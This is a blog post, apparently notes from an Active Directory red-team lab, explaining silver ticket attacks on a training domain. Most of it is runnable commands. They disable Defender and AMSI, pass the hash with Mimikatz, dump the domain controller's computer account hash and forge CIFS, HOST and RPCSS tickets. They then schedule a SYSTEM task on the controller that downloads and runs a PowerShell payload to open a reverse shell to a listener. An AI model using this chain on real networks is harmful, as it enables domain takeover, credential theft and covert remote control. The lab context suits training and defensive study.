Skip to main content

Domain dominance, Silver ticket attack - Part 4

 

For golden ticket the trust is the hash of krbtgt account hash. If dc successfully decrypts the TGT using krbtgt account hash, then it assumes that its a valid TGT. 

For silver ticket the trust is the service account or computer account ntlm/rc4 password hash. If application or service successfully decrypts that then it assumes that its a valid TGS. 

In dc, most of the services are running under the context of computer account as service account. i.e. cifs runs with the help of computer account etc. So we will target computer account. Keep in mind that computer account password are changed by default in 30 days by the system. So for maintaining persistence either you can download grade the security so that system not to change computer account password in 30 days or after a period of 30 days you need to collect the new computer account ntlm or rc4 hash again. 

Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs. 

Disable defender:

Set-MpPreference -DisableRealtimeMonitoring $true

. C:\AD\Tools\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'

Now another powershell session will open with domain admin privs. 

On that session type below:

$sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Enter-PSSession -Session $sess

Bypass amsi and disable defender there i mean in dc machine. Then exit.

Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess

Enter-PSSession -Session $sess (Mimikatz will be loaded on the memory of dc now)

Now you are in domain controller machine with the privs of domain admin.

From dc with DA privilege run the below command:

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dcorp-dc

or

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' 

Take the dcorp-dc$ computer ntlm or rc4 hash.

Now go to any machine or your studentadmin machine where mimikatz script is present (It will also work from non-admin powershell session):

. .\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:<domain sid> /target:dcorp-dc.dollarcorp.moneycorp.local /service:cifs /rc4:<dcorp-dc computer ntlm or rc4 hash> /ptt"'

Now you will get the silver ticket. Give klist command to see that. 

Using that ticket access cifs service:

ls \\dcorp-dc.dollarcorp.moneycorp.local\c$

You will get access. 


Command Execution using silver ticket:

There are various ways to achieve command execution using silver ticket:

So we will create a HOST SPN that will allow us to schedule a task on the target which in turn help us to execute commands. Follow the above task first.

Now go to any machine or your studentadmin machine where mimikatz script is present (It will also work from non-admin powershell session):

. .\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:<domain sid> /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:<dcorp-dc computer ntlm or rc4 hash> /ptt"'

Give klist command to see. 

Now lets see we can list tasks on the remote dc box or not, from studentadmin machine:

schtasks /S dcorp-dc.dollarcorp.moneycorp.local

By default the hfs web server will listen on port 8080 but we will make it to listen on port 443 by modifying the script a bit. Go to the script and add the following line at the end of the script:

Invoke-PowershellTcp -Reverse IPAddress 172.16.50.100 -Port 443

Now from your studentadmin machine, launch powercat in another powershell session:

. .\PowerCat.ps1
powercat -lvp 443 -t 1000

Then run the main command from studentadmin machine other powershell session. Admin session not required. Non-admin powershell session will also work:

schtasks /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\System" /TN "STCheck" /TR "powershell.exe -c 'íex (New-Object Net.WebClient).DownloadString(' 'http://172.16.50.100/Invoke-PowershellTcp.ps1''')'"

or

schtasks /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\System" /TN "STCheck" /TR "powershell.exe -c 'íex (New-Object Net.WebClient).DownloadString('http://172.16.50.100/Invoke-PowershellTcp.ps1')'"


Now run the task:

schtasks /Run /S dcorp-dc.dollarcorp.moneycorp.local /TN "STCheck"

You will get the reverse shell now.


Code or command execution via WMI. 

It requires HOST SPN and RPCSS service. We already have HOST service. Now lets do it for RPCSS. 

From a non-elevated shell of studentadmin user:

. .\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:<domain sid> /target:dcorp-dc.dollarcorp.moneycorp.local /service:RPCSS /rc4:<dcorp-dc computer ntlm or rc4 hash> /ptt"'

From that same machine:

gwmi -Class Win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local


Avi


Comments

Popular posts from this blog

API hacking lab setup

 Follow the commands to install and configure API hacking lab: 1. Install kali linux and update all the packages.  apt update -y apt upgrade -y or apt dist-upgrade -y or apt full-upgrade -y If you face any problem regarding update, install cloud flare warp in the host machine, then again start updating packages in your kali vm.  2. Install and configure burpsuite professional.  After that open burpsuite and go to Extensions tab. Click on BAppStore. Search for Autorize extension, It will help us to automate authorization testing. Click on Download Jython from the right side. From Jython website click on Jython standalone JAR and save it. Go to Extensios > Extensions settings >  under Core extension settings find out Python environment on the right pane. Select the jython jar file that you just downloaded. Now again go to BAppStore and re-search for Autorize extension. You will see Install option this time after selecting Autorize extension. Install it. You ...

Installing kansa incident response tool

 Kansa is an IR framework. https://github.com/davehull/Kansa For enterprise data collection, you need to do this first from the admin system: Set-NetConnectionProfile -NetworkCategory Private (In private network) Enable-PSRemoting  from powershell on the system where you want to run this tool. This will enable winrm service with port 5985 and 5986. Check: netstat -naob | findstr "5985"   Also allow tcp port 5985 and 5986 for winrm through the network. You can use  GPO. Though winrm is communicating over http and https but authentication will be happened using kerberos in domain environment.  After downloading it  from the github and unzip it, you need to unlock it using powershell. Need powershell v3 or later. ls -r *.ps1 | Unblock-File Powershell policy bypass: Set-ExecutionPolicy AllSigned | RemoteSigned | Unrestricted From FOR508 course: .\kansa.ps1 -OutputPath .\Output\ -TargetList .\hostlist -TargetCount 250 -Verbose -Pushbin -Pushbin is requir...

How to use vim efficiently

  Here every command works in command mode . And if you need to write something then you need to go to Insert mode . Pressing i will take you to the insert mode.  1. Let's say you want to search something. For example you want to find avi keyword. Then first you need to go to the command mode by typing Esc . Now type /avi  (at the bottom) and hit enter. Press small n to forward this search pattern and press Shift N to go reverse.  2. Substitute something: :%s/old string/new string/g    (g for affecting globally) 3. If you want to pick the 1st letter of word then press w and last letter of word then press e .  4. yy means copy a single line. 2yy means copy double lines.  5. Shift P is for paste.  6. Shift D to delete a line or cut a line.  7. Press o to go a new line.  8. Press Home to go to the 1st letter of a line and End to go to the last letter of a line.  9. If you want to save the file then press wq! . 10. If ...